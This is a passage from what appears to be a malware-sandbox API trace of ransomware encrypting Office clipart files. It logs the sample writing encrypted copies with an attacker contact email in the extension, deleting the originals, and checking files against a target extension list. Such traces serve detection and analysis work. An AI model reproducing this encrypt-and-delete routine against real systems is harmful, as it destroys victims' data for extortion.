(in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.068] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.069] GetLastError () returned 0x0 [0156.070] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x2608, lpOverlapped=0x0) returned 1 [0156.074] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x2610, lpOverlapped=0x0) returned 1 [0156.075] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.075] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.075] SetEndOfFile (hFile=0x380) returned 1 [0156.075] CloseHandle (hObject=0x380) returned 1 [0156.075] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.075] SetEndOfFile (hFile=0x37c) returned 1 [0156.076] CloseHandle (hObject=0x37c) returned 1 [0156.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.077] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf")) returned 1 [0156.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0156.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0156.077] lstrlenW (lpString=".doc") returned 4 [0156.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.078] lstrlenW (lpString=".docx") returned 5 [0156.078] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0156.078] lstrlenW (lpString=".pdf") returned 4 [0156.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.078] lstrlenW (lpString=".xls") returned 4 [0156.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.078] lstrlenW (lpString=".xlsx") returned 5 [0156.078] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0156.078] lstrlenW (lpString=".ppt") returned 4 [0156.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0156.078] lstrlenW (lpString=".zip") returned 4 [0156.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.078] lstrlenW (lpString=".rar") returned 4 [0156.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.078] lstrlenW (lpString=".bz2") returned 4 [0156.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.078] lstrlenW (lpString=".7z") returned 3 [0156.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0156.079] lstrlenW (lpString=".dbf") returned 4 [0156.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0156.079] lstrlenW (lpString=".1cd") returned 4 [0156.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0156.079] lstrlenW (lpString=".jpg") returned 4 [0156.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.086] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.086] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174952.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0156.088] GetLastError () returned 0x0 [0156.088] ReadFile (in: hFile=0x364, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x6196, lpOverlapped=0x0) returned 1 [0156.092] WriteFile (in: hFile=0x39c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x61a0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x61a0, lpOverlapped=0x0) returned 1 [0156.093] ReadFile (in: hFile=0x364, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.094] WriteFile (in: hFile=0x39c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.105] SetEndOfFile (hFile=0x39c) returned 1 [0156.105] CloseHandle (hObject=0x39c) returned 1 [0156.105] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.105] SetEndOfFile (hFile=0x364) returned 1 [0156.106] CloseHandle (hObject=0x364) returned 1 [0156.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.106] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174952.jpg")) returned 1 [0156.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68 [0156.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68 [0156.107] lstrlenW (lpString=".doc") returned 4 [0156.107] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0156.107] lstrlenW (lpString=".docx") returned 5 [0156.107] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0156.107] lstrlenW (lpString=".pdf") returned 4 [0156.107] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0156.107] lstrlenW (lpString=".xls") returned 4 [0156.107] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0156.107] lstrlenW (lpString=".xlsx") returned 5 [0156.107] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0156.107] lstrlenW (lpString=".ppt") returned 4 [0156.107] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0156.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68 [0156.107] lstrlenW (lpString=".zip") returned 4 [0156.107] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0156.107] lstrlenW (lpString=".rar") returned 4 [0156.107] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0156.107] lstrlenW (lpString=".bz2") returned 4 [0156.107] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0156.107] lstrlenW (lpString=".7z") returned 3 [0156.108] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0156.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68 [0156.108] lstrlenW (lpString=".dbf") returned 4 [0156.108] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0156.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68 [0156.108] lstrlenW (lpString=".1cd") returned 4 [0156.108] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0156.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68 [0156.108] lstrlenW (lpString=".jpg") returned 4 [0156.108] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0156.114] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.114] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.115] GetLastError () returned 0x0 [0156.115] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x38d8, lpOverlapped=0x0) returned 1 [0156.119] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x38e0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x38e0, lpOverlapped=0x0) returned 1 [0156.120] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.120] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.120] SetEndOfFile (hFile=0x380) returned 1 [0156.120] CloseHandle (hObject=0x380) returned 1 [0156.121] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.121] SetEndOfFile (hFile=0x37c) returned 1 [0156.121] CloseHandle (hObject=0x37c) returned 1 [0156.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.122] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg")) returned 1 [0156.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0156.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0156.122] lstrlenW (lpString=".doc") returned 4 [0156.122] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0156.122] lstrlenW (lpString=".docx") returned 5 [0156.122] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0156.122] lstrlenW (lpString=".pdf") returned 4 [0156.122] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0156.122] lstrlenW (lpString=".xls") returned 4 [0156.122] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0156.122] lstrlenW (lpString=".xlsx") returned 5 [0156.122] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0156.122] lstrlenW (lpString=".ppt") returned 4 [0156.123] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0156.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0156.123] lstrlenW (lpString=".zip") returned 4 [0156.123] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0156.123] lstrlenW (lpString=".rar") returned 4 [0156.123] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0156.123] lstrlenW (lpString=".bz2") returned 4 [0156.123] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0156.123] lstrlenW (lpString=".7z") returned 3 [0156.123] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0156.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0156.123] lstrlenW (lpString=".dbf") returned 4 [0156.123] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0156.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0156.123] lstrlenW (lpString=".1cd") returned 4 [0156.123] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0156.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0156.123] lstrlenW (lpString=".jpg") returned 4 [0156.123] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0156.123] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.123] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177806.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.124] GetLastError () returned 0x0 [0156.124] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0xd902, lpOverlapped=0x0) returned 1 [0156.135] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xd910, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xd910, lpOverlapped=0x0) returned 1 [0156.136] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.136] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.136] SetEndOfFile (hFile=0x380) returned 1 [0156.136] CloseHandle (hObject=0x380) returned 1 [0156.136] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.136] SetEndOfFile (hFile=0x37c) returned 1 [0156.137] CloseHandle (hObject=0x37c) returned 1 [0156.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.137] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177806.jpg")) returned 1 [0156.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68 [0156.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68 [0156.138] lstrlenW (lpString=".doc") returned 4 [0156.138] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0156.138] lstrlenW (lpString=".docx") returned 5 [0156.138] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0156.138] lstrlenW (lpString=".pdf") returned 4 [0156.138] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0156.138] lstrlenW (lpString=".xls") returned 4 [0156.138] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0156.138] lstrlenW (lpString=".xlsx") returned 5 [0156.139] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0156.139] lstrlenW (lpString=".ppt") returned 4 [0156.139] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0156.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68 [0156.139] lstrlenW (lpString=".zip") returned 4 [0156.139] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0156.139] lstrlenW (lpString=".rar") returned 4 [0156.139] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0156.139] lstrlenW (lpString=".bz2") returned 4 [0156.139] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0156.139] lstrlenW (lpString=".7z") returned 3 [0156.139] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0156.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68 [0156.139] lstrlenW (lpString=".dbf") returned 4 [0156.139] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0156.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68 [0156.139] lstrlenW (lpString=".1cd") returned 4 [0156.139] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0156.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68 [0156.139] lstrlenW (lpString=".jpg") returned 4 [0156.139] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0156.557] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.557] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0156.558] GetLastError () returned 0x0 [0156.558] ReadFile (in: hFile=0x34c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x7214, lpOverlapped=0x0) returned 1 [0156.560] WriteFile (in: hFile=0x33c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x7220, lpOverlapped=0x0) returned 1 [0156.561] ReadFile (in: hFile=0x34c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.561] WriteFile (in: hFile=0x33c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.561] SetEndOfFile (hFile=0x33c) returned 1 [0156.561] CloseHandle (hObject=0x33c) returned 1 [0156.561] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.561] SetEndOfFile (hFile=0x34c) returned 1 [0156.562] CloseHandle (hObject=0x34c) returned 1 [0156.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.562] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg")) returned 1 [0156.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0156.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0156.563] lstrlenW (lpString=".doc") returned 4 [0156.563] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0156.563] lstrlenW (lpString=".docx") returned 5 [0156.563] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0156.563] lstrlenW (lpString=".pdf") returned 4 [0156.563] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0156.563] lstrlenW (lpString=".xls") returned 4 [0156.563] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0156.563] lstrlenW (lpString=".xlsx") returned 5 [0156.563] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0156.563] lstrlenW (lpString=".ppt") returned 4 [0156.563] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0156.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0156.563] lstrlenW (lpString=".zip") returned 4 [0156.563] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0156.563] lstrlenW (lpString=".rar") returned 4 [0156.563] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0156.563] lstrlenW (lpString=".bz2") returned 4 [0156.564] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0156.564] lstrlenW (lpString=".7z") returned 3 [0156.564] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0156.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0156.564] lstrlenW (lpString=".dbf") returned 4 [0156.564] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0156.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0156.564] lstrlenW (lpString=".1cd") returned 4 [0156.564] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0156.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0156.564] lstrlenW (lpString=".jpg") returned 4 [0156.564] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0156.564] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.564] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0156.565] GetLastError () returned 0x0 [0156.565] ReadFile (in: hFile=0x34c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x67a3, lpOverlapped=0x0) returned 1 [0156.567] WriteFile (in: hFile=0x33c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x67b0, lpOverlapped=0x0) returned 1 [0156.568] ReadFile (in: hFile=0x34c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.568] WriteFile (in: hFile=0x33c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.568] SetEndOfFile (hFile=0x33c) returned 1 [0156.569] CloseHandle (hObject=0x33c) returned 1 [0156.569] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.569] SetEndOfFile (hFile=0x34c) returned 1 [0156.570] CloseHandle (hObject=0x34c) returned 1 [0156.571] SetFileAttributesW (lpFileName="C:\\Program 